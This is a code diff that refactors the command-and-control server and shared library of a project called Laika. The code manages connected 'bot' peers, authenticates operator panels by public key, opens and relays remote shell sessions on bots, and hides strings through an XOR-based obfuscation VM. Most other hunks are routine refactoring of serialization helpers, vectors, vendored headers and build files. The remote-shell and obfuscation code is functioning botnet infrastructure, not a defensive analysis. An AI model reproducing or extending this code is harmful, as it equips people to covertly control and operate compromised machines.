@@ -69,8 +65,8 @@ void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_
|
||||
LAIKA_ERROR("laikaC_handleAuthenticatedShellOpen: Requested peer isn't a bot!\n");
|
||||
|
||||
/* read term size */
|
||||
laikaS_readInt(&authPeer->sock, &cols, sizeof(uint16_t));
|
||||
laikaS_readInt(&authPeer->sock, &rows, sizeof(uint16_t));
|
||||
cols = laikaS_readu16(&authPeer->sock);
|
||||
rows = laikaS_readu16(&authPeer->sock);
|
||||
|
||||
/* open shell */
|
||||
laikaC_openShell(peer, authPeer, cols, rows);
|
||||
@@ -84,7 +80,7 @@ void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT
|
||||
struct sLaika_shellInfo *shell;
|
||||
uint32_t id;
|
||||
|
||||
laikaS_readInt(&authPeer->sock, &id, sizeof(uint32_t));
|
||||
id = laikaS_readu32(&authPeer->sock);
|
||||
|
||||
/* ignore malformed packet */
|
||||
if (id >= LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL)
|
||||
@@ -106,7 +102,7 @@ void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_
|
||||
if (sz - sizeof(uint32_t) > LAIKA_SHELL_DATA_MAX_LENGTH)
|
||||
LAIKA_ERROR("laikaC_handleAuthenticatedShellData: Wrong data size!\n");
|
||||
|
||||
laikaS_readInt(&authPeer->sock, &id, sizeof(uint32_t));
|
||||
id = laikaS_readu32(&authPeer->sock);
|
||||
sz -= sizeof(uint32_t);
|
||||
|
||||
/* ignore malformed packet */
|
||||
@@ -120,7 +116,7 @@ void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_
|
||||
|
||||
/* forward to peer */
|
||||
laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
|
||||
laikaS_writeInt(&peer->sock, &shell->botShellID, sizeof(uint32_t));
|
||||
laikaS_writeu32(&peer->sock, shell->botShellID);
|
||||
laikaS_write(&peer->sock, data, sz);
|
||||
laikaS_endVarPacket(peer);
|
||||
}
|
||||
104
cnc/src/cnc.c
104
cnc/src/cnc.c
@@ -1,12 +1,12 @@
|
||||
#include "cnc.h"
|
||||
|
||||
#include "cpanel.h"
|
||||
#include "core/lerror.h"
|
||||
#include "core/lmem.h"
|
||||
#include "core/lsodium.h"
|
||||
#include "core/ltask.h"
|
||||
#include "cauth.h"
|
||||
#include "cpeer.h"
|
||||
#include "lerror.h"
|
||||
#include "lmem.h"
|
||||
#include "lsocket.h"
|
||||
#include "lsodium.h"
|
||||
#include "ltask.h"
|
||||
#include "net/lsocket.h"
|
||||
|
||||
/* ======================================[[ PeerHashMap ]]======================================= */
|
||||
|
||||
@@ -83,7 +83,7 @@ void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, v
|
||||
|
||||
/* queue response */
|
||||
laikaS_startOutPacket(peer, LAIKAPKT_HANDSHAKE_RES);
|
||||
laikaS_writeByte(&peer->sock, laikaS_isBigEndian());
|
||||
laikaS_writeByte(&peer->sock, laikaM_isBigEndian());
|
||||
laikaS_write(&peer->sock, peer->salt, LAIKA_HANDSHAKE_SALT_LEN);
|
||||
laikaS_endOutPacket(peer);
|
||||
|
||||
@@ -161,12 +161,8 @@ struct sLaika_cnc *laikaC_newCNC(uint16_t port)
|
||||
/* init peer hashmap & panel list */
|
||||
cnc->peers = hashmap_new(sizeof(tCNC_PeerHashElem), 8, 0, 0, cnc_PeerElemHash,
|
||||
cnc_PeerElemCompare, NULL, NULL);
|
||||
cnc->authPeers = NULL;
|
||||
cnc->authKeys = NULL;
|
||||
cnc->authKeysCount = 0;
|
||||
cnc->authKeysCap = 4;
|
||||
cnc->authPeersCap = 4;
|
||||
cnc->authPeersCount = 0;
|
||||
laikaM_initVector(cnc->authPeers, 4);
|
||||
laikaM_initVector(cnc->authKeys, 4);
|
||||
cnc->port = port;
|
||||
|
||||
/* init socket (we just need it for the raw socket fd and abstracted API :P) & pollList */
|
||||
@@ -207,7 +203,7 @@ void laikaC_freeCNC(struct sLaika_cnc *cnc)
|
||||
hashmap_free(cnc->peers);
|
||||
|
||||
/* free auth keys */
|
||||
for (i = 0; i < cnc->authKeysCount; i++) {
|
||||
for (i = 0; i < laikaM_countVector(cnc->authKeys); i++) {
|
||||
laikaM_free(cnc->authKeys[i]);
|
||||
}
|
||||
laikaM_free(cnc->authKeys);
|
||||
@@ -222,7 +218,7 @@ void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer)
|
||||
hashmap_set(cnc->peers, &(tCNC_PeerHashElem){.pub = peer->peerPub, .peer = peer});
|
||||
|
||||
/* notify connected panels of the newly connected peer */
|
||||
for (i = 0; i < cnc->authPeersCount; i++) {
|
||||
for (i = 0; i < laikaM_countVector(cnc->authPeers); i++) {
|
||||
laikaC_sendNewPeer(cnc->authPeers[i], peer);
|
||||
}
|
||||
|
||||
@@ -273,7 +269,7 @@ void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer)
|
||||
}
|
||||
|
||||
/* notify connected panels of the disconnected peer */
|
||||
for (i = 0; i < cnc->authPeersCount; i++) {
|
||||
for (i = 0; i < laikaM_countVector(cnc->authPeers); i++) {
|
||||
laikaC_sendRmvPeer(cnc->authPeers[i], peer);
|
||||
}
|
||||
|
||||
@@ -316,11 +312,10 @@ void laikaC_setPeerType(struct sLaika_cnc *cnc, struct sLaika_peer *peer, PEERTY
|
||||
void laikaC_addAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer)
|
||||
{
|
||||
/* grow array if we need to */
|
||||
laikaM_growarray(struct sLaika_peer *, cnc->authPeers, 1, cnc->authPeersCount,
|
||||
cnc->authPeersCap);
|
||||
laikaM_growVector(struct sLaika_peer *, cnc->authPeers, 1);
|
||||
|
||||
/* insert into authenticated peer table */
|
||||
cnc->authPeers[cnc->authPeersCount++] = authPeer;
|
||||
cnc->authPeers[laikaM_countVector(cnc->authPeers)++] = authPeer;
|
||||
|
||||
LAIKA_DEBUG("added panel %p!\n", authPeer);
|
||||
}
|
||||
@@ -329,9 +324,9 @@ void laikaC_rmvAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer)
|
||||
{
|
||||
int i;
|
||||
|
||||
for (i = 0; i < cnc->authPeersCount; i++) {
|
||||
for (i = 0; i < laikaM_countVector(cnc->authPeers); i++) {
|
||||
if (cnc->authPeers[i] == authPeer) { /* we found the index for our panel! */
|
||||
laikaM_rmvarray(cnc->authPeers, cnc->authPeersCount, i, 1);
|
||||
laikaM_rmvVector(cnc->authPeers, i, 1);
|
||||
return;
|
||||
}
|
||||
}
|
||||
@@ -340,14 +335,14 @@ void laikaC_rmvAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer)
|
||||
void laikaC_addAuthKey(struct sLaika_cnc *cnc, const char *key)
|
||||
{
|
||||
uint8_t *buf;
|
||||
laikaM_growarray(uint8_t *, cnc->authKeys, 1, cnc->authKeysCount, cnc->authKeysCap);
|
||||
laikaM_growVector(uint8_t *, cnc->authKeys, 1);
|
||||
|
||||
buf = laikaM_malloc(crypto_kx_PUBLICKEYBYTES);
|
||||
if (!laikaK_loadKeys(buf, NULL, key, NULL))
|
||||
LAIKA_ERROR("Failed to load key '%s'\n", key);
|
||||
|
||||
/* insert key */
|
||||
cnc->authKeys[cnc->authKeysCount++] = buf;
|
||||
cnc->authKeys[laikaM_countVector(cnc->authKeys)++] = buf;
|
||||
printf("[~] Added authenticated public key '%s'\n", key);
|
||||
}
|
||||
|
||||
@@ -426,53 +421,50 @@ struct sLaika_peer *laikaC_getPeerByPub(struct sLaika_cnc *cnc, uint8_t *pub)
|
||||
return elem ? elem->peer : NULL;
|
||||
}
|
||||
|
||||
bool sweepPeers(struct sLaika_peer *peer, void *uData)
|
||||
{
|
||||
struct sLaika_peerInfo *pInfo = GETPINFOFROMPEER(peer);
|
||||
struct sLaika_cnc *cnc = (struct sLaika_cnc *)uData;
|
||||
long currTime = laikaT_getTime();
|
||||
|
||||
/* peer has been silent for a while, kill 'em */
|
||||
if (currTime - pInfo->lastPing > LAIKA_PEER_TIMEOUT) {
|
||||
LAIKA_DEBUG("timeout reached for %p! [%d]\n", peer, currTime - pInfo->lastPing);
|
||||
laikaC_killPeer(cnc, peer);
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void laikaC_sweepPeersTask(struct sLaika_taskService *service, struct sLaika_task *task,
|
||||
clock_t currTick, void *uData)
|
||||
{
|
||||
struct sLaika_cnc *cnc = (struct sLaika_cnc *)uData;
|
||||
struct sLaika_peer *peer;
|
||||
struct sLaika_peerInfo *pInfo;
|
||||
size_t i = 0;
|
||||
long currTime = laikaT_getTime();
|
||||
|
||||
laikaC_iterPeers(cnc, sweepPeers, (void *)cnc);
|
||||
while (laikaC_iterPeersNext(cnc, &i, &peer)) {
|
||||
pInfo = GETPINFOFROMPEER(peer);
|
||||
|
||||
/* peer has been silent for a while, kill 'em */
|
||||
if (currTime - pInfo->lastPing > LAIKA_PEER_TIMEOUT) {
|
||||
LAIKA_DEBUG("timeout reached for %p! [%ld]\n", peer, currTime);
|
||||
laikaC_killPeer(cnc, peer);
|
||||
|
||||
/* reset peer iterator (since the hashmap mightve been reallocated/changed) */
|
||||
i = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* =======================================[[ Peer Iter ]]======================================= */
|
||||
|
||||
struct sWrapperData
|
||||
bool laikaC_iterPeersNext(struct sLaika_cnc *cnc, size_t *i, struct sLaika_peer **peer)
|
||||
{
|
||||
tLaika_peerIter iter;
|
||||
void *uData;
|
||||
};
|
||||
tCNC_PeerHashElem *elem;
|
||||
|
||||
/* wrapper iterator */
|
||||
bool iterWrapper(const void *rawItem, void *uData)
|
||||
{
|
||||
struct sWrapperData *data = (struct sWrapperData *)uData;
|
||||
tCNC_PeerHashElem *item = (tCNC_PeerHashElem *)rawItem;
|
||||
return data->iter(item->peer, data->uData);
|
||||
if (hashmap_iter(cnc->peers, i, (void **)&elem)) {
|
||||
*peer = elem->peer;
|
||||
return true;
|
||||
}
|
||||
|
||||
*peer = NULL;
|
||||
return false;
|
||||
}
|
||||
|
||||
void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData)
|
||||
{
|
||||
struct sWrapperData wrapper;
|
||||
wrapper.iter = iter;
|
||||
wrapper.uData = uData;
|
||||
size_t i = 0;
|
||||
struct sLaika_peer *peer;
|
||||
|
||||
/* iterate over hashmap calling our iterWrapper, pass the *real* iterator to
|
||||
itemWrapper so that it can call it. probably a better way to do this
|
||||
but w/e lol */
|
||||
hashmap_scan(cnc->peers, iterWrapper, &wrapper);
|
||||
/* call iter for every peer in cnc->peers */
|
||||
while (laikaC_iterPeersNext(cnc, &i, &peer))
|
||||
iter(peer, uData);
|
||||
}
|
||||
@@ -1,8 +1,8 @@
|
||||
#include "cpeer.h"
|
||||
|
||||
#include "cnc.h"
|
||||
#include "lerror.h"
|
||||
#include "lmem.h"
|
||||
#include "core/lerror.h"
|
||||
#include "core/lmem.h"
|
||||
|
||||
/* =======================================[[ Peer Info ]]======================================= */
|
||||
|
||||
@@ -88,15 +88,15 @@ struct sLaika_shellInfo *laikaC_openShell(struct sLaika_peer *bot, struct sLaika
|
||||
|
||||
/* send SHELL_OPEN packets */
|
||||
laikaS_startOutPacket(bot, LAIKAPKT_SHELL_OPEN);
|
||||
laikaS_writeInt(&bot->sock, &shell->botShellID, sizeof(uint32_t));
|
||||
laikaS_writeInt(&bot->sock, &cols, sizeof(uint16_t));
|
||||
laikaS_writeInt(&bot->sock, &rows, sizeof(uint16_t));
|
||||
laikaS_writeu32(&bot->sock, shell->botShellID);
|
||||
laikaS_writeu16(&bot->sock, cols);
|
||||
laikaS_writeu16(&bot->sock, rows);
|
||||
laikaS_endOutPacket(bot);
|
||||
|
||||
laikaS_startOutPacket(auth, LAIKAPKT_SHELL_OPEN);
|
||||
laikaS_writeInt(&auth->sock, &shell->authShellID, sizeof(uint32_t));
|
||||
laikaS_writeInt(&auth->sock, &cols, sizeof(uint16_t));
|
||||
laikaS_writeInt(&auth->sock, &rows, sizeof(uint16_t));
|
||||
laikaS_writeu32(&auth->sock, shell->authShellID);
|
||||
laikaS_writeu16(&auth->sock, cols);
|
||||
laikaS_writeu16(&auth->sock, rows);
|
||||
laikaS_endOutPacket(auth);
|
||||
|
||||
return shell;
|
||||
@@ -106,11 +106,11 @@ void laikaC_closeShell(struct sLaika_shellInfo *shell)
|
||||
{
|
||||
/* send SHELL_CLOSE packets */
|
||||
laikaS_startOutPacket(shell->bot, LAIKAPKT_SHELL_CLOSE);
|
||||
laikaS_writeInt(&shell->bot->sock, &shell->botShellID, sizeof(uint32_t));
|
||||
laikaS_writeu32(&shell->bot->sock, shell->botShellID);
|
||||
laikaS_endOutPacket(shell->bot);
|
||||
|
||||
laikaS_startOutPacket(shell->auth, LAIKAPKT_SHELL_CLOSE);
|
||||
laikaS_writeInt(&shell->auth->sock, &shell->authShellID, sizeof(uint32_t));
|
||||
laikaS_writeu32(&shell->auth->sock, shell->authShellID);
|
||||
laikaS_endOutPacket(shell->auth);
|
||||
|
||||
/* unlink */
|
||||
@@ -155,7 +155,7 @@ void laikaC_handlePeerLoginReq(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void
|
||||
break;
|
||||
case PEER_AUTH:
|
||||
/* check that peer's pubkey is authenticated */
|
||||
if (!laikaK_checkAuth(peer->peerPub, cnc->authKeys, cnc->authKeysCount))
|
||||
if (!laikaK_checkAuth(peer->peerPub, cnc->authKeys, laikaM_countVector(cnc->authKeys)))
|
||||
LAIKA_ERROR("laikaC_handlePeerHandshake: Unauthorized panel!\n");
|
||||
|
||||
LAIKA_DEBUG("Accepted authenticated panel %p\n", peer);
|
||||
@@ -175,7 +175,7 @@ void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *u
|
||||
struct sLaika_shellInfo *shell;
|
||||
uint32_t id;
|
||||
|
||||
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
|
||||
id = laikaS_readu32(&peer->sock);
|
||||
|
||||
/* ignore packet if shell isn't open */
|
||||
if (id >= LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL)
|
||||
@@ -196,7 +196,7 @@ void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
|
||||
if (sz > LAIKA_SHELL_DATA_MAX_LENGTH + sizeof(uint32_t))
|
||||
return;
|
||||
|
||||
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
|
||||
id = laikaS_readu32(&peer->sock);
|
||||
|
||||
/* ignore packet if shell isn't open */
|
||||
if (id >= LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL)
|
||||
@@ -206,7 +206,7 @@ void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
|
||||
|
||||
/* forward SHELL_DATA packet to auth */
|
||||
laikaS_startVarPacket(shell->auth, LAIKAPKT_SHELL_DATA);
|
||||
laikaS_writeInt(&shell->auth->sock, &shell->authShellID, sizeof(uint32_t));
|
||||
laikaS_writeu32(&shell->auth->sock, shell->authShellID);
|
||||
laikaS_write(&shell->auth->sock, buf, sz - sizeof(uint32_t));
|
||||
laikaS_endVarPacket(shell->auth);
|
||||
}
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#include "cnc.h"
|
||||
#include "ini.h"
|
||||
#include "core/ini.h"
|
||||
#include "core/ltask.h"
|
||||
#include "lconfig.h"
|
||||
#include "ltask.h"
|
||||
|
||||
#include <stdio.h>
|
||||
|
||||
|
||||
@@ -8,16 +8,24 @@ project(LaikaLib VERSION ${LAIKA_VERSION_MAJOR}.${LAIKA_VERSION_MINOR})
|
||||
set_property(GLOBAL PROPERTY USE_FOLDERS ON)
|
||||
|
||||
# compile LaikaLib library
|
||||
file(GLOB_RECURSE LIBSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c ${CMAKE_CURRENT_SOURCE_DIR}/vendor/**.c)
|
||||
file(GLOB_RECURSE LIBSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c)
|
||||
file(GLOB_RECURSE LIBHEADERS ${CMAKE_CURRENT_SOURCE_DIR}/include/**.h)
|
||||
add_library(LaikaLib STATIC ${LIBSOURCE} ${LIBHEADERS})
|
||||
|
||||
# include platform specific backends
|
||||
if(WIN32)
|
||||
file(GLOB_RECURSE LIBPLATFORMSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/win/**.c)
|
||||
elseif(UNIX AND NOT APPLE)
|
||||
file(GLOB_RECURSE LIBPLATFORMSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/lin/**.c)
|
||||
endif ()
|
||||
|
||||
add_library(LaikaLib STATIC ${LIBSOURCE} ${LIBHEADERS} ${LIBPLATFORMSOURCE})
|
||||
target_link_libraries(LaikaLib PUBLIC sodium)
|
||||
|
||||
# make sure we're compiled *AFTER* lboxconfig.h has been generated
|
||||
add_dependencies(LaikaLib VMBoxGen)
|
||||
|
||||
# add the version definitions and the 'DEBUG' preprocessor definition if we're compiling as Debug
|
||||
target_compile_definitions(LaikaLib PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
|
||||
# add the version definitions
|
||||
target_compile_definitions(LaikaLib PUBLIC)
|
||||
|
||||
# add include directory
|
||||
target_include_directories(LaikaLib PUBLIC ${LIB_INCLUDEDIR} ${CMAKE_CURRENT_SOURCE_DIR}/libsodium/libsodium/src/libsodium/include)
|
||||
|
||||
43
lib/include/core/hashmap.h
Normal file
43
lib/include/core/hashmap.h
Normal file
@@ -0,0 +1,43 @@
|
||||
// https://github.com/tidwall/hashmap.c
|
||||
// Copyright 2020 Joshua J Baker. All rights reserved.
|
||||
// Use of this source code is governed by an MIT-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
#ifndef HASHMAP_H
|
||||
#define HASHMAP_H
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
#include <stdint.h>
|
||||
|
||||
struct hashmap;
|
||||
|
||||
struct hashmap *hashmap_new(size_t elsize, size_t cap, uint64_t seed0, uint64_t seed1,
|
||||
uint64_t (*hash)(const void *item, uint64_t seed0, uint64_t seed1),
|
||||
int (*compare)(const void *a, const void *b, void *udata),
|
||||
void (*elfree)(void *item), void *udata);
|
||||
struct hashmap *
|
||||
hashmap_new_with_allocator(void *(*malloc)(size_t), void *(*realloc)(void *, size_t),
|
||||
void (*free)(void *), size_t elsize, size_t cap, uint64_t seed0,
|
||||
uint64_t seed1,
|
||||
uint64_t (*hash)(const void *item, uint64_t seed0, uint64_t seed1),
|
||||
int (*compare)(const void *a, const void *b, void *udata),
|
||||
void (*elfree)(void *item), void *udata);
|
||||
void hashmap_free(struct hashmap *map);
|
||||
void hashmap_clear(struct hashmap *map, bool update_cap);
|
||||
size_t hashmap_count(struct hashmap *map);
|
||||
bool hashmap_oom(struct hashmap *map);
|
||||
void *hashmap_get(struct hashmap *map, const void *item);
|
||||
void *hashmap_set(struct hashmap *map, const void *item);
|
||||
void *hashmap_delete(struct hashmap *map, void *item);
|
||||
void *hashmap_probe(struct hashmap *map, uint64_t position);
|
||||
bool hashmap_scan(struct hashmap *map, bool (*iter)(const void *item, void *udata), void *udata);
|
||||
bool hashmap_iter(struct hashmap *map, size_t *i, void **item);
|
||||
|
||||
uint64_t hashmap_sip(const void *data, size_t len, uint64_t seed0, uint64_t seed1);
|
||||
uint64_t hashmap_murmur(const void *data, size_t len, uint64_t seed0, uint64_t seed1);
|
||||
|
||||
// DEPRECATED: use `hashmap_new_with_allocator`
|
||||
void hashmap_set_allocator(void *(*malloc)(size_t), void (*free)(void *));
|
||||
|
||||
#endif
|
||||
@@ -16,7 +16,8 @@ https://github.com/benhoyt/inih
|
||||
|
||||
/* Make this header file easier to include in C++ code */
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
extern "C"
|
||||
{
|
||||
#endif
|
||||
|
||||
#include <stdio.h>
|
||||
@@ -28,12 +29,10 @@ extern "C" {
|
||||
|
||||
/* Typedef for prototype of handler function. */
|
||||
#if INI_HANDLER_LINENO
|
||||
typedef int (*ini_handler)(void* user, const char* section,
|
||||
const char* name, const char* value,
|
||||
typedef int (*ini_handler)(void *user, const char *section, const char *name, const char *value,
|
||||
int lineno);
|
||||
#else
|
||||
typedef int (*ini_handler)(void* user, const char* section,
|
||||
const char* name, const char* value);
|
||||
typedef int (*ini_handler)(void *user, const char *section, const char *name, const char *value);
|
||||
#endif
|
||||
|
||||
/* Typedef for prototype of fgets-style reader function. */
|
||||
@@ -61,8 +60,7 @@ int ini_parse_file(FILE* file, ini_handler handler, void* user);
|
||||
/* Same as ini_parse(), but takes an ini_reader function pointer instead of
|
||||
filename. Used for implementing custom or string-based I/O (see also
|
||||
ini_parse_string). */
|
||||
int ini_parse_stream(ini_reader reader, void* stream, ini_handler handler,
|
||||
void* user);
|
||||
int ini_parse_stream(ini_reader reader, void *stream, ini_handler handler, void *user);
|
||||
|
||||
/* Same as ini_parse(), but takes a zero-terminated string with the INI data
|
||||
instead of a file. Useful for parsing INI data from a network socket or
|
||||
@@ -149,7 +147,6 @@ int ini_parse_string(const char* string, ini_handler handler, void* user);
|
||||
# define INI_CUSTOM_ALLOCATOR 0
|
||||
#endif
|
||||
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
@@ -1,10 +1,10 @@
|
||||
#ifndef LAIKA_BOX_H
|
||||
#define LAIKA_BOX_H
|
||||
|
||||
#include "core/lmem.h"
|
||||
#include "core/lsodium.h"
|
||||
#include "core/lvm.h"
|
||||
#include "laika.h"
|
||||
#include "lmem.h"
|
||||
#include "lsodium.h"
|
||||
#include "lvm.h"
|
||||
|
||||
#include <inttypes.h>
|
||||
|
||||
@@ -63,6 +63,8 @@ struct sLaikaB_box
|
||||
# define LAIKA_BOX_SKID_END(ident) ((void)0) /* no-op */
|
||||
#endif
|
||||
|
||||
/* clang-format off */
|
||||
|
||||
/* ======================================[[ Laika Boxes ]]====================================== */
|
||||
|
||||
/* BOX_SKID decodes null-terminated strings using a provided xor _key. aptly named lol */
|
||||
@@ -93,15 +95,14 @@ struct sLaikaB_box
|
||||
LAIKA_FORCEINLINE void *laikaB_unlock(struct sLaikaB_box *box, void *data)
|
||||
{
|
||||
struct sLaikaV_vm vm = {
|
||||
/* boxes have 2 reserved constants, [0] for the output, [1] for the input */
|
||||
.constList =
|
||||
{
|
||||
/* boxes have 3 reserved constants */
|
||||
.constList = {
|
||||
[LAIKA_BOX_UNLOCKED_INDX] = LAIKA_MAKE_VM_PTR(box->unlockedData),
|
||||
[LAIKA_BOX_SCRATCH_INDX] = LAIKA_MAKE_VM_PTR(box->scratch),
|
||||
[LAIKA_BOX_DATA_INDX] = LAIKA_MAKE_VM_PTR(data),
|
||||
},
|
||||
.code = { 0 },
|
||||
.stack = { 0 },
|
||||
.code = {0}, /* zero initalized */
|
||||
.stack = {0}, /* zero initalized */
|
||||
.pc = 0
|
||||
};
|
||||
|
||||
@@ -117,6 +118,8 @@ LAIKA_FORCEINLINE void laikaB_lock(struct sLaikaB_box *box)
|
||||
sodium_memzero(box->scratch, LAIKA_BOX_SCRATCH_SIZE);
|
||||
}
|
||||
|
||||
/* clang-format on */
|
||||
|
||||
/* include KEY_* & DATA_* macros for each obfuscated string */
|
||||
#include "lboxconfig.h"
|
||||
|
||||
@@ -24,10 +24,10 @@
|
||||
|
||||
/* LAIKA_ERROR(printf args):
|
||||
if called after a LAIKA_TRY block will jump to the previous LAIKA_CATCH/LAIKA_TRYEND block,
|
||||
otherwise program is exit()'d. if DEBUG is defined printf is called with passed args, else
|
||||
otherwise program is exit()'d. if LAIKA_DEBUG_BUILD is defined printf is called with passed args, else
|
||||
arguments are ignored.
|
||||
*/
|
||||
#ifndef DEBUG
|
||||
#ifndef LAIKA_DEBUG_BUILD
|
||||
# define LAIKA_ERROR(...) \
|
||||
do { \
|
||||
if (LAIKA_ISPROTECTED) \
|
||||
63
lib/include/core/lmem.h
Normal file
63
lib/include/core/lmem.h
Normal file
@@ -0,0 +1,63 @@
|
||||
#ifndef LAIKA_MEM_H
|
||||
#define LAIKA_MEM_H
|
||||
|
||||
#include "laika.h"
|
||||
|
||||
#define GROW_FACTOR 2
|
||||
|
||||
/* microsoft strikes again with their lack of support for VLAs */
|
||||
#if _MSC_VER
|
||||
# define VLA(type, var, sz) type *var = laikaM_malloc(sizeof(type) * sz);
|
||||
# define ENDVLA(var) laikaM_free(var);
|
||||
#else
|
||||
# define VLA(type, var, sz) type var[sz];
|
||||
# define ENDVLA(var) ((void)0) /* no op */
|
||||
#endif
|
||||
|
||||
#define laikaM_malloc(sz) laikaM_realloc(NULL, sz)
|
||||
#define laikaM_free(buf) laikaM_realloc(buf, 0)
|
||||
|
||||
/* ========================================[[ Vectors ]]======================================== */
|
||||
|
||||
#define laikaM_countVector(name) name##_COUNT
|
||||
#define laikaM_capVector(name) name##_CAP
|
||||
|
||||
#define laikaM_newVector(type, name) \
|
||||
type *name; \
|
||||
int name##_COUNT; \
|
||||
int name##_CAP
|
||||
|
||||
#define laikaM_initVector(name, startCap) \
|
||||
name = NULL; \
|
||||
name##_COUNT = 0; \
|
||||
name##_CAP = startCap
|
||||
|
||||
#define laikaM_growVector(type, name, needed) \
|
||||
if (name##_COUNT + needed >= name##_CAP || name == NULL) { \
|
||||
name##_CAP = (name##_CAP + needed) * GROW_FACTOR; \
|
||||
name = (type *)laikaM_realloc(name, sizeof(type) * name##_CAP); \
|
||||
}
|
||||
|
||||
/* moves vector elements above indx down by numElem, removing numElem elements at indx */
|
||||
#define laikaM_rmvVector(name, indx, numElem) \
|
||||
do { \
|
||||
int _i, _sz = ((name##_COUNT - indx) - numElem); \
|
||||
for (_i = 0; _i < _sz; _i++) \
|
||||
name[indx + _i] = name[indx + numElem + _i]; \
|
||||
name##_COUNT -= numElem; \
|
||||
} while (0);
|
||||
|
||||
/* moves vector elements above indx up by numElem, inserting numElem elements at indx */
|
||||
#define laikaM_insertVector(name, indx, numElem) \
|
||||
do { \
|
||||
int _i; \
|
||||
for (_i = name##_COUNT; _i > indx; _i--) \
|
||||
name[_i] = name[_i - 1]; \
|
||||
name##_COUNT += numElem; \
|
||||
} while (0);
|
||||
|
||||
void *laikaM_realloc(void *buf, size_t sz);
|
||||
bool laikaM_isBigEndian(void);
|
||||
void laikaM_reverse(uint8_t *buf, size_t sz);
|
||||
|
||||
#endif
|
||||
@@ -1,6 +1,7 @@
|
||||
#ifndef LAIKA_RSA_H
|
||||
#define LAIKA_RSA_H
|
||||
|
||||
#include "lconfig.h"
|
||||
#include "sodium.h"
|
||||
|
||||
#include <stdbool.h>
|
||||
@@ -9,8 +9,8 @@
|
||||
fit this specific use case.
|
||||
*/
|
||||
|
||||
#include "core/lerror.h"
|
||||
#include "laika.h"
|
||||
#include "lerror.h"
|
||||
|
||||
#include <inttypes.h>
|
||||
|
||||
@@ -76,7 +76,7 @@ enum
|
||||
OP_TESTJMP, /* if stk_indx[uint8_t] != 0, pc += [int8_t] */
|
||||
|
||||
/* misc. */
|
||||
#ifdef DEBUG
|
||||
#ifdef LAIKA_DEBUG_BUILD
|
||||
OP_DEBUG
|
||||
#endif
|
||||
};
|
||||
@@ -154,7 +154,7 @@ LAIKA_FORCEINLINE void laikaV_execute(struct sLaikaV_vm *vm)
|
||||
|
||||
break;
|
||||
}
|
||||
#ifdef DEBUG
|
||||
#ifdef LAIKA_DEBUG_BUILD
|
||||
case OP_DEBUG: {
|
||||
int i;
|
||||
|
||||
@@ -1,54 +0,0 @@
|
||||
// Copyright 2020 Joshua J Baker. All rights reserved.
|
||||
// Use of this source code is governed by an MIT-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
#ifndef HASHMAP_H
|
||||
#define HASHMAP_H
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
#include <stdint.h>
|
||||
|
||||
struct hashmap;
|
||||
|
||||
struct hashmap *hashmap_new(size_t elsize, size_t cap,
|
||||
uint64_t seed0, uint64_t seed1,
|
||||
uint64_t (*hash)(const void *item,
|
||||
uint64_t seed0, uint64_t seed1),
|
||||
int (*compare)(const void *a, const void *b,
|
||||
void *udata),
|
||||
void (*elfree)(void *item),
|
||||
void *udata);
|
||||
struct hashmap *hashmap_new_with_allocator(
|
||||
void *(*malloc)(size_t),
|
||||
void *(*realloc)(void *, size_t),
|
||||
void (*free)(void*),
|
||||
size_t elsize, size_t cap,
|
||||
uint64_t seed0, uint64_t seed1,
|
||||
uint64_t (*hash)(const void *item,
|
||||
uint64_t seed0, uint64_t seed1),
|
||||
int (*compare)(const void *a, const void *b,
|
||||
void *udata),
|
||||
void (*elfree)(void *item),
|
||||
void *udata);
|
||||
void hashmap_free(struct hashmap *map);
|
||||
void hashmap_clear(struct hashmap *map, bool update_cap);
|
||||
size_t hashmap_count(struct hashmap *map);
|
||||
bool hashmap_oom(struct hashmap *map);
|
||||
void *hashmap_get(struct hashmap *map, const void *item);
|
||||
void *hashmap_set(struct hashmap *map, void *item);
|
||||
void *hashmap_delete(struct hashmap *map, void *item);
|
||||
void *hashmap_probe(struct hashmap *map, uint64_t position);
|
||||
bool hashmap_scan(struct hashmap *map,
|
||||
bool (*iter)(const void *item, void *udata), void *udata);
|
||||
|
||||
uint64_t hashmap_sip(const void *data, size_t len,
|
||||
uint64_t seed0, uint64_t seed1);
|
||||
uint64_t hashmap_murmur(const void *data, size_t len,
|
||||
